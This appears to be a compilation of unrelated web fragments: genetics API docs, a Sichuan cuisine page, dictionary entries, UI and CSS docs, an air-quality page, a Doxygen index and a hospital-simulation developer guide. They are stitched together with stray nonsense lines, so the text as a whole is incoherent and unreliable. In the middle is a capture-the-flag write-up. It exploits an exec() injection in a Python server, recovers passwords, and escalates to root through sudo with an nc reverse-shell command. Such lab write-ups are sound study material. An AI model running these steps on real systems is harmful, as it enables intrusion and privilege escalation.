We assume that the file being loaded is a covariance matrix file produced by either RAREMETAL or rvtests. We specifically assume that, per these file formats, scores and covariances are oriented towards the alternate allele when reading. However, when storing, covariances are stored flipped towards the *minor allele*, as this is typically the convention used in aggregation tests. The covariance matrix is also multiplied by the sample size, since per convention, RAREMETAL and rvtests both divide each element by the sample size before writing out.
Parameters:
| Name | Type | Description |
|---|---|---|
fpath |
string | Path to covariance matrix file. |
region |
string | Region string, e.g. 1:1-40000. |
variants |
Array.<string> | Array of variants to extract in this order. Variants should be EPACTS format, e.g. 1:4_A/G. |
scoreStats |
ScoreStatTable | Object containing score statistics and other required information. This is needed because rvtest and raremetalworker both normalize the covariance matrix by the sample size. |
Returns:
A genotype covariance matrix.
- Type
- Promise.<GenotypeCovarianceMatrix>
(async, inner) extractScoreStats(fpath, region, variants) → {module:stats~ScoreStatTable}
Extract score statistics from a file (either rvtest or raremetal format).
Parameters:
| Name | Type | Description |
|---|---|---|
fpath |
string | The path to the bgzipped score statistics file (one variant per line). |
region |
string | Region containing the variants. Should be formatted in the typical "1:1-4000". |
variants |
Array.<string> | A list of variants to specifically extract, in this order. If a list of variants is not provided, all variants will be extracted in the region. |
Returns:
An object containing statistics per variant, including:
- Chromosome and position
- Score statistic
- Variance of the score statistic
- Reference allele
- Alternate allele and frequency
- Effect allele and frequency
- Number of genotyped samples present in the analysis when the score statistics were calculated
- Type
- module:stats~ScoreStatTable
(inner) getNumberOfVariantsFromCovarianceFile(covarFile, region) → {number}
Find the number of variants in a region of a covariance matrix file.
Parameters:
| Name | Type | Description |
|---|---|---|
covarFile |
string | Path to covariance matrix file |
region |
string | Region string, e.g. 1:1-4000 |
Returns:
Number of variants in the region
- Type
- number
(inner) readMaskFileSync(fpath) → {VariantMask}
Read groups from a mask file.
Parameters:
| Name | Type | Description |
|---|---|---|
fpath |
string | Path to mask file. |
Returns:
A VariantMask object that stores a mapping of groups to lists of variants.
- Type
- VariantMask


Sichuan is an inland proince in Southwestern China, with a population of more than 80 million people. Its central part is within a huge basin surrounded by high mountains, resulting in a warm damp climate. The wet weather encouraged people to develope spicy dishes, which are believed to keep moisture from body.
Sichuan Hotpot
Hotpot serves as one of symbols for Sichuan province. Similar to fondue，it cooks continuously added raw ingredients in simmering flavored broth. As you can see in the picture, hotpot with pepper is hot both in temperature and flavor.
Mapo Tofu
Mapo means a pock-marked grandma in Chinese, and by word of mouth, this cuisine was created by her. Combined with chili broad bean paste from Sichuan's Pixian county, the tofu owns a complex flavor, which is numbing, spicy hot, physically hot, fresh, tender, aromatic and flaky.
Sliced Beef and Ox Tongue in Chilli Sauce
This cuisine has a scaring Chinese name "husband and wife lung pieces". That was a joke played by michievous children on sliced beef made by a married couple. Its taste is again spicy and mouth-numbing, which is perfect to serve as an appetizer.


:a monastic establishment
:an area within a monastery or convent to which the religious are normally restricted
:monastic life
:a place or state of seclusion
:a covered passage on the side of a court usually having one side walled and the other an open arcade or colonnade


speculative fiction AI sidekick
Emoto is a mixed hardware and software concept for a platform of different interactions meant to reframe how people relate to their phones.
We hope to open source the concept of emoto so that for a low cost anyone can build their own inteligent sidekick system
"the tone of voice that we use in a growing percentage of our daily interactions matters—not for Alexa, not for Amazon, not for Apple, but for us" - Rachel Withers"
“it’s as if missing housewives are being replaced with more servile smart-home wives, reinforcing cultural connections between ‘women’ + ‘subservience’ to boot.”
conservative interaction model
conservative interaction model
conservative interaction model
“Let’s work towards escaping this world of screen-zombies” — Golden Krishna, author of 'No Interface is the Best Interface' and design lead for Google's android visioning


KNX - WoT Gateway
Configuration
Data subscribers
Log
Logout
Data subscribers
Groups
No groups available now
No datapoint's informations available now
Please select a group in the menu on the left side


Core_CSS provides special classes and widget to create expansion panels.

 ... header ...

 ... panel content ...

 ... footer ...

 Header

 The thing invents enlightenment which is not powerful. Chicken breasts taste best with whiskey and lots of szechuan pepper.

 <button class="flat-button">Save</button> <button class="flat-button">Cancel</button>

| Option | Data-* | Default | Description |
|---|---|---|---|
| collapseMode | data-collapse-mode | full | Hide footer on collapse |
| duration | data-duration | 300 | Collapse speed |
| open | data-open | true | Default mode for panel: opened or closed |
| Method | Params | Description |
|---|---|---|
| open | Expand panel | |
| close | Collapse panel | |
| toggle | Toggle state of panel | |
| isOpened | Check if panel is opened | |
| setContent | html | Set panel content |
Core_CSS provides corePanels object to panels manipulate. corePanels contains next methods:


--- title: OCHA Basic theme page-title: Fonts options: - include_ocha_basic ---
This styleguide no longer accurately reflects the Common Design.
Font-size: @include font-size($small-font-size)
Font family: font-family: $body-font
Sass: common/variables/_fonts.scss
common/variables/_font-sizes.scss
Open Sans is a Google Font. Add the link to the head of your site to enable it:
{% highlight html %} {% endhighlight %}


From Nmap ports 22,80 and 8080 are open. port 80 does nothing. port 8080 is a web server, and is a custom webserver.
At the home page of the website there is a message which says
Message to server devs: the current source code for the web server is in 'SuperSecyreServer.py' in the secret development directory.
I run wfuzz to find the dir only because I already know the filename.
wfuzz -w /usr/share/wordlists/dirb/common.txt -u http://<IP_ADDRESS>:8080/FUZZ/SuperSecureServer.py
I find the file located at /develop/
After reading the code I found an rce on these lines of the code.
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
cwd = os.path.dirname(os.path.realpath(__file__))
docRoot = os.path.join(cwd, docRoot)
if path == "/":
path = "/index.html"
requested = os.path.join(docRoot, path[1:])
if os.path.isfile(requested):
mime = mimetypes.guess_type(requested)
mime = (mime if mime[0] != None else "text/html")
mime = MIMES[requested.split(".")[-1]]
try:
with open(requested, "r") as f:
data = f.read()
except:
with open(requested, "rb") as f:
data = f.read()
status = "200"
else:
errorPage = os.path.join(docRoot, "errors", "404.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read().format(path)
status = "404"
The path gets inside the exec function. So If I send inside the path something like /';os.system("ping IP");'
given that the os library is already imported by the script I get code execution? Let’s try to send that but encoded.
I use https://www.urlencoder.org/
and encode this command ';os.system("ping <IP_ADDRESS>");'
and on my box I listen for any ping request using
tcpdump -i tun0 -n icmp
I immediately get a request back.
root@kali:~/Downloads# tcpdump -i tun0 -n icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
16:24:49.507887 IP <IP_ADDRESS> > <IP_ADDRESS>: ICMP echo request, id 9799, seq 106, length 64
I get a reverse shell, inside /home/robert folder I find a python script which encrypts and decrypts files and some files. I type this command and get a password. python3 SuperSecureCrypt.py -i out.txt -o /tmp/d.txt -k "$(cat check.txt)" -d
the password is alexandrovich
, now I decrypt the passwordreminder with this password. the command is python3 SuperSecureCrypt.py -i passwordreminder.txt -o /tmp/a.txt -k "alexandrovich" -d
################################
# BEGINNING #
# SUPER SECURE ENCRYPTOR #
################################
############################
# FILE MODE #
############################
Opening file passwordreminder.txt...
Decrypting...
Writing to /tmp/a.txt...
www-data@obscure:/home/robert$ cat /tmp/a.txt
SecThruObsFTW
I use this password to ssh into the box, as robert user.
After a bit of enumerating inside the box, I finally find that I can run this python script as root.
robert@obscure:~$ sudo -l
Matching Defaults entries for robert on obscure:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User robert may run the following commands on obscure:
(ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
robert@obscure:~$
I can rename that folder to something else and then create the folder with the same name and the python script with the same name, and then execute the command to get a reverse shell.
robert@obscure:~$ cd BetterSSH/
robert@obscure:~/BetterSSH$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Dec 2 09:47 .
drwxr-xr-x 7 robert robert 4096 Dec 2 09:53 ..
-rwxr-xr-x 1 root root 1805 Oct 5 13:09 BetterSSH.py
robert@obscure:~/BetterSSH$ cd ..
robert@obscure:~$ mv BetterSSH/ a
robert@obscure:~$ mkdir BetterSSH
robert@obscure:~$ cd BetterSSH/
robert@obscure:~/BetterSSH$ touch BetterSSH.py
robert@obscure:~/BetterSSH$ vim BetterSSH.py
robert@obscure:~/BetterSSH$ cat BetterSSH.py
import os
os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP_ADDRESS> 7979 >/tmp/f")
robert@obscure:~/BetterSSH$ sudo -u root /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py


All the Data form the IoT Kit is put on the cloud server across each user and device profile. The Cloud based data is then used to gain insights and representation purposes. The daily analysis is carried out by fetching data using cloud APIs and depending on the environmental sensing the blockchain based smart contract issues tokens to its users as a reward for contributing to climate tracking (Climate Mining). These tokens can be used as the utility token to create and support a campaign related to Climate Action on the ClimateOrb Platform. Having the ability to sense our surrounding and built-in machine learning, these devices can guide us to improve our environment. Our long-term goal is to collect environmental data all around the globe, from all the connected nodes to our IPFS cluster on the blockchain network. With this data we try and solve critical problems related to global climate change. We can provide this authentic data on demand to the environmental scientists. This data will also help us in improving our machine learning models to power our next generation of ClimateOrb devices.
PM2.5 & PM10 are given their names based on the sizing of the particles they are made up of.
PM10 are inhalable particles, with diameters that are generally 10 micrometers.
PM2.5 fine inhalable particles, with diameters that are 2.5 micrometers and smaller. Think about a single hair from your head. The average human hair is about 70 micrometers in diameter – making it 30 times larger than the largest fine particle.
These particles come in many sizes and shapes and can be made up of hundreds of different chemicals. Some are emitted directly from a source, such as construction sites, unpaved roads, fields, smokestacks or fires. Most particles form in the atmosphere as a result of complex reactions of chemicals such as sulfur dioxide and nitrogen oxides, which are pollutants emitted from power plants, industries and automobiles.
Small particles less than 10 micrometers in diameter pose the greatest problems, because they can get deep into your lungs, and some may even get into your bloodstream.
Exposure to such particles can affect both your lungs and your heart. Numerous scientific studies have linked particle pollution exposure to a variety of problems, including:
In order to be aware of safe levels of PM 2.5 & 10 we have created an Air Quality Index:


Main Page
Namespaces
Classes
Files
Namespace List
Namespace Members
All
Functions
Variables
a
b
c
d
e
f
g
l
m
n
p
q
r
s
t
v
- a -
action :
feeder_q_training
,
feeder_sarsa_training
ACTION :
robot_stepper_client
ACTION_DOWN :
env
action_list :
feeder_q_training
,
feeder_sarsa_training
ACTION_REWARD_NEGATIVE :
env
ACTION_REWARD_POSITIVE :
env
action_size :
feeder_q_training
,
feeder_sarsa_training
ACTION_STAY :
env
ACTION_UP :
env
- b -
BATCH_SIZE :
feeder_dqn_training
- c -
csv_reader :
gmm_equalizer
- d -
decay_rate :
feeder_q_training
,
feeder_sarsa_training
DELTA :
feeder_dqn_training
delta :
feeder_q_training
,
feeder_sarsa_training
difference :
gmm_equalizer
done :
feeder_q_training
,
feeder_sarsa_training
- e -
epsilon :
feeder_q_training
,
feeder_sarsa_training
exp_exp_tradeoff :
feeder_q_training
,
feeder_sarsa_training
exploited :
feeder_q_training
,
feeder_sarsa_training
EXPLORATION_DECAY :
feeder_dqn_training
EXPLORATION_MAX :
feeder_dqn_training
EXPLORATION_MIN :
feeder_dqn_training
explored :
feeder_q_training
,
feeder_sarsa_training
- f -
file_name :
gmm_equalizer
FORCE_SAYS_DOWN :
env
FORCE_SAYS_STAY :
env
FORCE_SAYS_UP :
env
- g -
GAMMA :
feeder_dqn_training
gamma :
feeder_q_training
,
feeder_sarsa_training
GOAL_REWARD_POSITIVE :
env
- l -
LEARNING_RATE :
feeder_dqn_training
learning_rate :
feeder_q_training
,
feeder_sarsa_training
- m -
max_epsilon :
feeder_q_training
,
feeder_sarsa_training
max_steps :
feeder_q_training
,
feeder_sarsa_training
max_variation :
feeder_q_training
,
feeder_sarsa_training
MEMORY_SIZE :
feeder_dqn_training
min_epsilon :
feeder_q_training
,
feeder_sarsa_training
min_size :
gmm_equalizer
- n -
nA :
env
new_action :
feeder_sarsa_training
NON_TERM_P :
robot_emulator_server
nS :
env
number_of_trajectories :
gmm_equalizer
- p -
P :
env
path :
gmm_equalizer
pi_pi_star :
feeder_offline_training
PI_pi_star_file :
feeder_offline_training
pol_iter_policy :
feeder_offline_training
policy :
feeder_q_training
,
feeder_sarsa_training
- q -
q_performance_file :
feeder_q_training
q_policy_file :
feeder_q_training
q_table_file :
feeder_q_training
qtable :
feeder_q_training
,
feeder_sarsa_training
qtable_new :
feeder_q_training
,
feeder_sarsa_training
- r -
random_list :
gmm_equalizer
random_policy :
feeder_offline_training
reshaped_name :
gmm_equalizer
reshaped_trajectories :
gmm_equalizer
- s -
s_list :
test_robot_emulator_service
sarsa_performance_file :
feeder_sarsa_training
sarsa_policy_file :
feeder_sarsa_training
sarsa_table_file :
feeder_sarsa_training
size :
gmm_equalizer
state :
feeder_q_training
,
feeder_sarsa_training
STATE :
robot_stepper_client
state_list :
feeder_q_training
,
feeder_sarsa_training
state_size :
feeder_q_training
,
feeder_sarsa_training
step :
feeder_q_training
,
feeder_sarsa_training
string :
robot_stepper_client
- t -
TERM :
robot_stepper_client
TERM_P :
robot_emulator_server
TERMINAL_STATES :
env
total_episodes :
feeder_q_training
,
feeder_sarsa_training
total_rewards :
feeder_q_training
,
feeder_sarsa_training
trajectories :
gmm_equalizer
- v -
val_iter_policy :
feeder_offline_training
vi_pi_star :
feeder_offline_training
VI_pi_star_file :
feeder_offline_training
drinking_assistant
Author(s): tejas
autogenerated on Fri May 24 2019 11:11:42


Developer Guide for ER | Visualizer
Setup
System Requirements for Windows
- Windows 10 64-bit: Pro, Enterprise, or Education (Build 15063 or later)
- Hyper-V and Containers Windows features must be enabled
-
This can be done by running the docker application after installing. The user will be prompted and required to restart the computer in order to finish the required setup.
-
The following hardware prerequisites are required to successfully run Client Hyper-V on Windows 10:
-
64 bit processor with Second Level Address Translation (SLAT)
- 4GB system RAM
- BIOS-level hardware virtualization support must be enabled in the BIOS settings (see image).
Installing and running Docker Desktop on Windows
-
Double-click Docker Desktop Installer.exe to run the installer.
-
If you haven’t already downloaded the installer (Docker Desktop Installer.exe), you can get it from Docker Hub. It typically downloads to your
Downloads
folder, or you can run it from the recent downloads bar at the bottom of your web browser. -
Follow the instructions on the installation wizard to accept the license, authorize the installer, and proceed with the install.
-
When prompted, authorize the Docker Desktop Installer with your system password during the install process. Privileged access is needed to install networking components, links to the Docker apps, and manage the Hyper-V VMs.
-
Click Finish on the setup complete dialog and launch the Docker Desktop application.
System Requirements for Mac OS
-
Mac hardware must be a 2010 or newer model, with Intel’s hardware support for memory management unit (MMU) virtualization, including Extended Page Tables (EPT) and Unrestricted Mode. You can check to see if your machine has this support by running the following command in a terminal: sysctl kern.hv_support
-
macOS must be version 10.13 or newer. We recommend upgrading to the latest version of macOS.
-
If you experience any issues after upgrading your macOS to version 10.15, you must install the latest version of Docker Desktop to be compatible with this version of macOS.
Note: Docker supports Docker Desktop on the most recent versions of macOS. That is, the current release of macOS and the previous two releases. As new major versions of macOS are made generally available, Docker will stop supporting the oldest version and support the newest version of macOS (in addition to the previous two releases).
-
At least 4 GB of RAM.
-
VirtualBox prior to version 4.3.30 must not be installed as it is not compatible with Docker Desktop.
Installing and running Docker Desktop on Mac
-
Double-click Docker.dmg to open the installer, then drag the Docker icon to the Applications folder.
-
Install Docker app
-
Double-click Docker.app in the Applications folder to start Docker. (In the example below, the Applications folder is in “grid” view mode.)
You are prompted to authorize Docker.app with your system password after you launch it. Privileged access is needed to install networking components and links to the Docker apps.
The Docker menu in the top status bar indicates that Docker Desktop is running, and accessible from a terminal.
If you just installed the app, you also get a message with suggested next steps and a link to the documentation. Click the Docker menu (whale menu) in the status bar to dismiss this pop-up notification.
-
Click the Docker menu (whale menu) to see Preferences and other options.
-
Select About Docker to verify that you have the latest version.
Instructions
Setup: Download the docker installer here and follow the docker setup instructions above. The website directs you to the correct version base on your OS Then, start the application by double clicking the docker icon in your Applications folder.
Running the Application:
Run docker-compose down
- in case you already have docker and have something running on the same port
Then run ./run_dev.sh build
- to build the image/run the application
- The client and server services will be instantiated with the ports indicated in the .env file.
- The client can be accessed at http://localhost:5000 by default.
In the event that you have already built the image and want to run
it again you can simply run ./run_dev.sh`
Note: you do not have to worry about any other setup either than ensuring you have docker on your device.
In the event that you have issues due to conflicting ports, you can change the values of the following port variables in the env file (located at the root of the repository).
APP_SERVER_PORT = {Backend port number - default 8000}
REACT_APP_PORT = {Frontend port number - default 5000}
DEV_ENV = development
WEB_SOCKET_PORT = {WSS port number - default 8765}
Layout
backend/
app/
models/
rules/
...
tests/
models/
unit_tests/
Developer Guide/
docs/
frontend/
node_modules/
public/
src/
components/
...
models/
...
redux/
...
User Guide/
docs/
-
Frontend >
Main.js
acts as the manager for the frontend and intializes the websocket on the frontend and recieves events from the frontend which are then sent to redux functions which update the simulation > Redux manages the simulation state, specifically the node data, and which sidebars are shown -
Backend >
run.py
in the app folder manages all data, from creating the nodes to sending events - Entry point of app
>
main.py
in the backend handles requests to the backend. Currently there 2 routes one takes in the csv uploaded from the frontend and parses it to be used by the simulation, the other starts the simulation when it recieves a post request with the canvas layout - Websockets
>
connect.py
has our websocket class for the backend which sends data to the frontend
CSV
- Each row represents 1 patient, and each column its attributes
- Must have columns with following names(outlined in global_strings.py):
- time: Indicates the start_time of the patient, i.e when the patient comes into the hospital.
- id: id of the simulation object(patient in this case)
- acuity: 1-5
- For predicted columns, values must be: {1 for True, 0 for False}
- For frequency columns, values must be: >= 0
End-to-End flow of data
run.py
- The entry point starts at the main() function which is called from the REST API /start. The main function then initializes all the required global variables. Then loads the input canvas initializes a thread to start the simulation (SimulationWorker class) and another to start the websocket (by initializing WebsocketServer from connect.py).
- The SimulationWorker iterates through the input canvas to instantiate all the nodes on the canvas with their parameters and stores all nodes in a dictionary for future use.
- A node may contain node or resource rules which are also initialized at this point.
- Once the canvas is loaded, the simulation reads the input csv file and adds patients into a preemptive node (patient loader), which only serves the purpose of adding patients into the starting point of the workflow (the reception queue at the right time (as dictated in the csv input).
- Changes to the simulation (such as patients getting treated by a resource) are represented by Event objects. Event objects have a time attribute which dictate when they occur, and are stored in an event heap.
- Events are handled one at a time in process_heap(), and a global time variable will be updated to the time of the event popped from the event heap.
- After an event is handled, the Statistics object is updated.
- When communicating with the frontend, there will be a list of all the processed events. Instead of sending the entire list at once, only a user-specified time interval of events will be sent. The user can also specify how often the backend sends changes to the frontend. Since communication is independent of the simulation, changing these parameters will not affect the simulation in the backend.
- Once the simulation finishes, the contents of the final Statistics object will be sent to the frontend and the backend will terminate.
Heap
- Simulation is based on a Heap, which contains Event objects. The priority inside the heap is the time the patient will finish the resource. The heap only contains events which are about a patient finishing a resource, and uses this to track the movement of time in a chronological fashion.
Websocket
- The WebsocketServer class is located at connect.py and sends events to the frontend.
- WebsockerServer has the following attributes:
- host: The host name the server is being served on (in our use case its localhost)
- port: The port to send events on.
- producerFunc: The function to generate events to send to the frontend (send_e from run.py).
- server: The event loop in the websocket thread.
- wserver: The websocket server.
- process: The function to process events in the event heap (process_heap)
- stats: The function to get simulation statistics.
- sent_stats: Checks whether stats have been sent.
- packet_rate: The frequency to send events.
- The start method is called by run.py which starts the websocket thread that runs until the simulation ends.
- __producer_handler is then constantly called which is in charge of running the process_heap method from run.py. This allows the simulation to continue running by continuously processing generated events.
- The rate in which __producer_handler is called is changed by the input packet rate, passed in from the frontend. Thus, this then allows the rate of the simulation to be changed.
- Based of process_heap, __producer_handler will either continue sending generated events, or generate the statistics of the simulation then send them and close its sockets.
- The class also formats the generated statistics to be in a CSV format to be send to the frontend.
- To generate the CSV file, since process names are column headers, it is more readable if the column headers are sorted in order of traversal through the canvas. nodes_in_bfs_order() returns a sorted list of process names.
Models
Nodes
- Nodes are the fundamental building blocks of the simultation. They represent a process such as: reception, triage, doctor's office, etc.
- Attributes:
- id's which are used to uniquely identify a node.
Note
: Id 0 is reserved for Reception, and Id -1 is reserved for the patient_loader(see details above in run.py) - Queue_type: There are 3 types of queues: Stacks, Queue, and Priority Heap. The user specifies on the front-end what kind of queue he wants to use. See Queues for more details
- priority_function: priority_function is set only if the user chose a priority queue on the frontend, otherwise it's none.
- num_actors defines the number of resources/actors inside the resource. A resource will have a minimum of 1 resource, which means there is only 1 employee/doctor/member of staff/etc operating in there.
- resource_dict: a dictionary which contains the resources as their values(built based on the number of actors), and the ids of resources as keys.
- distribution_name and distribution_params: the parameters of the distribution that will describe how much time a patient spends inside a resource for this particular node.
- output_process_ids: the nodes that the patient will go to once he finishes this current node.
- static dictionary of nodes
node_dict
which contains all of the nodes with their ids as values. - node_rules: all of the rules for a specific node.
- Important Methods:
- Technically, nodes are the ones that run the simulation. They move the patients from one to another, ass the patients into the right resource, into the right queues.
handle_finished_patient(resource_id)
:- Called from run.py whenever an event is popped off the heap, which signifies that it finished. At that point, handle_finished_patient() is called which is responsible for 2 things: insert patients into the next nodes that the patient needs to go to, fill the resource that the patient just finished with an appropriate patient from the queue of the node.
- Because the patient is still in some queues, the node attempts to insert him into resources for the nodes where the patient is still queued(patient is still in queue to get a CT-scan so handle_finished_patient() will check to see if any CT scans have been freed), as well as into the outgoing nodes from this current node(i.e this node is triage and has an outgoint edge: Triage->Doctor).
- An event is created and sent to GlobalEvents, which is read by run.py to send to the frontend. The event will be a patient leaving a resource.
put_patient_in_node(patient)
:- Called whenever a patient is inserted into a node X.
- First check if patient passes all of the rules which make him eligible to be inside of node X(e.g: have acuity > 5, etc).
- If passes all rules, then try to insert him into a resource. If that fails, place him inside the queue.
put_inside_queue(patient)
:- place patient inside of ahe queue, and put that into patient's current record.
- An event is created and sent to GlobalEvents, which is read by run.py to send to the frontend. The event will be a patient joining a queue.
fill_spot(patient)
:- Patient is passed and attempts to enter any available resources. If either the patient becomes unavailable, or all resources are busy, fill_spot returns False.
- If The patient is available, and a resource is free, and patient passes the test for it,
insert_patient_to_resource_and_heap
gets called.
insert_patient_to_resource_and_heap(patient, resource)
:- Patient is inserted into the resource,his patient_record gets updated, and he is set as unavailable.
- An event is created and inserted onto the heap with the finish time of when the patient will finish the given resource. So whenever a patient is inserted inside a resource, the event gets registered on the heap.
- An event is created and sent to GlobalEvents, which is read by run.py to send to the frontend. The event will be a patient joining a resource.
fill_spot_for_resource
:- Called when a patient finishes a resource, so the resource becomes available and can take another patient. Resources will attempt to take another patient from the queue of the node. If a patient is available and passes its rules, he is inserted into the resource by again calling
insert_patient_to_resource_and_heap(patient, resource)
. He is removed from the queue, and his patient record gets updated.
- Called when a patient finishes a resource, so the resource becomes available and can take another patient. Resources will attempt to take another patient from the queue of the node. If a patient is available and passes its rules, he is inserted into the resource by again calling
Resource
-
A resource is the smallest functioning element inside the simulation. A resource always exists only inside the nodes and represents 1 independent unit which takes simulation objects(patients) for a duration of time. Let's consider an example: if we have an X-ray Node, with 3 num actors, a resource will be an X-ray machine, and the node has 3 x-ray machines.
-
Attributes
- Id: id of the resource inside of the node, since there can be multiple. They are automatically generated when a node is initialized based on number of actors.
- curr_patient: if the curr_patient is set to None, that means that the resource is currently available. Otherwise, the attribute will be set to the id of the simulation object/ curr_patient id that the resource is occupied with
- finish_time: if curr_patient is not None, then finish_time will indicate when the resource will complete its work with the patient, in this case it will indicate when a patient finishes the X-ray).
- duration: duration of the current, in this case how long this curent X-ray lasts.
- resource_rules: Resources can have rules applied to them. In order for a patient to be inserted to a specific X-ray machine, it first needs to pass the rule for the X-ray machine. An example of a rule is: you need above a specific acuity to use this X-ray. See Rules for more.
- Important Methods:
- insert_patient(): Inserts a patient into the resource. Sets the attributes(patient, node_id, finish_time, duration). Sets the patient as unavailable.
- clear_patient(): i.e patient finishes the resource so clear him out of it. Set the patient as available, so he can join other resources, and set curr_patient and finish_time to None.
Patient
- A Patient is the simulation object that moves around. Patients are declared in the CSV file, 1 patient per row. They don't have to be patients. You can include any object in the CSV that you want to run the simulation on, and you can include any properties there.
- Attributes:
- properties: This is the dictionary of all attributes for the patient from the CSV, where the key is the name of the column, and the value is the value in the column.
- is_available: False if patient is inside a resource. Patient can only be inside 1 resource at a time, and this is used to make sure this is satisfied.
- patient_record: a record for the patient of all the nodes he has visited already, the current node he is in(otherwise None), and all the queues he is in.
- Important Methods:
- set_available(). This is called from inside resource.clear_patient(), so whenever a patient finishes a resource, he's automatically set to available.
- sets is_available property
- sets curr_node in patient record to None
- clears the queues_since_last_finished_process attribute, since that list contains all of the queues the patient has been added to since the last node he has finished, and since a patient is set available when he finished a resource, that means he just finished it, so we need to reset that list
- set_unavailable(): This is called from inside resource.insert_patient().
- sets the is_available attribute to False
- sets the current node inside the patient record
ObjectRecord
- An objectRecord is a record for a patient that contains infromation about all the nodes a patient has visited already, the current node he is in(otherwise None), and all the queues he is in.
- Attributes:
- object_id: id of the patient
- visited: represents a list of
node_acces_info
objects`, i.e all the nodes the patient has visited, in the corred order with extra information.- Properties of a node_access_info:
self.process_id = curr_process_id self.resource_id = curr_resource_id self.resource_start_time = start_time self.resource_end_time = end_time
- Properties of a node_access_info:
- curr_node: a
node_access_info
object` for the current_node the patient is in. - Queues:
- queues_since_last_finished_process: list of the queues a patient is added to in a current round, i.e since patient finished his last node.
- old_active_queues: queues the patient is still in, that are not part of the current round.
Queues
- 3 types: Stack, Heap, and Queue.
- All classes have an iterator defined, so that the user can iterate through the objects inside of the queue in the right order.
- Important Methods:
- put()
- get()
-
remove()
-
The Heap class has a few additional attributes:
def __init__(self, priority_type, priority_function, l=[]):
# convert input list into heap
l = l[:]
heapq.heapify(l)
# assign q into heap
self.q = l
# assign priority type
self.p_type = priority_type
# assign priority function
self.p_func = priority_function
# if priority is custom then parse the input code
if self.p_type == "custom":
self._parse_p_func()
- The heap gets the priority type and function from the frontend. If the type is acuity or arrival time then the min heap uses the respective values whenever a patient is added in to sort it.
- A patient is added as a tuple into the heap in the following format: (priority value, patient element). Python's heapq library automatically sorts the elements by the first index of a tuple.
- Users also have the option to define their own function to generate a priority value per patient. So when the type is custom, a priority value is calculated using the input code from the frontend.
Events
- Event objects on the heap contain the patient, the time he will finish a resource, and the node id and resource id.
- Attributes:
self.patient_id = patient_id
self.event_time = event_time # when the event finishes
self.node_id = node_id
self.node_resource_id = node_resource_id
self.moved_to = None # where the event moved to
self.in_queue = True # which queues it's in
self.finished = False
Rules
- Rules are restrictions that a patient must adhere to to either be allowed inside a node, or a resource or both. Values for them are specified inside the CSV, where each patient can have different values for different rules, i.e: if it's a FrequencyRule[see blow], patient A can visit node 3, 4 times, whilst patient B can only visit 1 time.
- There are two categories of rules: NodeRules and ResourceRules.
- NodeRules apply to a node object, and include FrequencyRules and PredictionRules. These are rules that a patient must satisfy in order to be allowed inside a node (where he can occupy a queue or a resource). If patient fails any of the rules then the patient is not admitted into the process.
- A node with a FrequencyRule can be visited multiple times by a patient on a case to case basis (i.e. each patient will visit a different number of times). FrequencyRule objects keep track of which column in the patients csv file the program has to read from in order to see how many times a patient has to reenter a node.
- A node with a PredictionRule has a conditional patient admittance behaviour. For example, a patient can be predicted to require a scan, so they can be preemptively added to the waiting queue before being seen by the doctor.
- ResourceRules: A resource may have a rule which will be used to decide whether the patient is allowed in or not, i.e can patient P go to doctor A, can patient P go to X-ray 2? If a node allows him in, but a resource rejects the patient, the patient will instead be inserted in another resource, one for which he passes all of the rules.
- FirstComeFirstServeRule: This rule is used in conjuction with a PredictionRule on the Node, for cases when a patient will visit a node N multiple times. When this rule is used, if a patient goes to resource C, any time in the future when he needs to visit the same node N, he is only allowed inside resource C. This is particularly useful for cases like the Most Responsible Doctor, where if patient is first seen by doctor C, he will only go back to doctor C, instead of other doctors, as that doctor is responsible for him.
- Rules are created in the rule_creator_factory, that is called in create_queues, located in run.py.
- RuleVerifier: has a method
pass_rules
where you pass a patient, and a set of rules, and return True only if the patient passes all of the rules for it. Used inside a Node to check if a patient passes all of the rules for the Node, and to also check if a patient passes all of the rules for a resource. - If you want to create a rule, define it in the rules directory in modules, and inside rule_creator_factory.py
Statistics
- The Statistic class handles recording information throughout the simulation to generate statistics at the end.
- Attributes:
# Patient stats
# structure: {'Patient_1': {'reception': 1 ...} ...}
self.p_process_times = {}
# structure: {'Patient_1': {'reception': 1 ...} ...}
self.p_wait_times = {}
# Doctor stats
# structure: {'Doctor_1': 1, ...}
self.d_seen = {}
# structure: {'Doctor_1': {'Patient_1': [1], ...} ...}
self.d_length = {}
# Hospital stats
self.sum_ratio_wait = 0.0
self.sum_ratio_journey = 0.0
self.start_time = float("INF")
self.end_time = float("-INF"`)
- Functions add_process_time, add_wait_time, increment_doc_seen, add_doc_patient_time is used to throughout the simulation to record information. The functions are all called at process_heap() in run.py.
- The function calculate_stats is used to aggregate all the statistics at the end.
Rules
Frontend code flow
- Graph rendering
- The global redux store contains a property in its' state called
nodes
. Before the nodes are sent as props toGraph.jsx
to be rendered, theupdate_graph()
method inMain.js
transforms them into two objects thatGraph.jsx
requires to render a graph: a node object with the data for each node and a links object with the data for links between nodes. - Once the nodes and links are given as props to
Graph.jsx
inMain.js
.Graph.jsx
will take in the node props and link props and give them torenderGraph()
ingraph.renderer.js
. TherenderGraph()
method then further makes sub calls to_renderNodes()
and_renderLinks()
ingraph.renderer.js
._renderNodes()
takes in the nodes passed in as props toGraph.jsx
and creates an array ofNode.jsx
objects each with their own position, and information to be displayed on the canvas._renderLinks
takes in the links passed in as props toGraph.jsx
and creates an array ofLinks.jsx
objects each witht their own start, end positions and styles that are displayed on the canvas.
renderGraph()
takes the list ofNode.jsx
objects andLinks.jsx
objects and returns them to be rendered by react.- If you want to change the style of a node, or what is displayed, go to
Node.jsx
. The information for a node that was in thenodes
array in the global redux state can be accessed throughthis.props
inNode.jsx
. - If you want to change the style of a link, go to
Link.jsx
. - If you want to change the start and end positions for a link, go to:
buildLinkPathDefinition()
inlink.helper.js
.
- The global redux store contains a property in its' state called
How to’s
Backend
- Add a new field to csv and have it used by priority queue
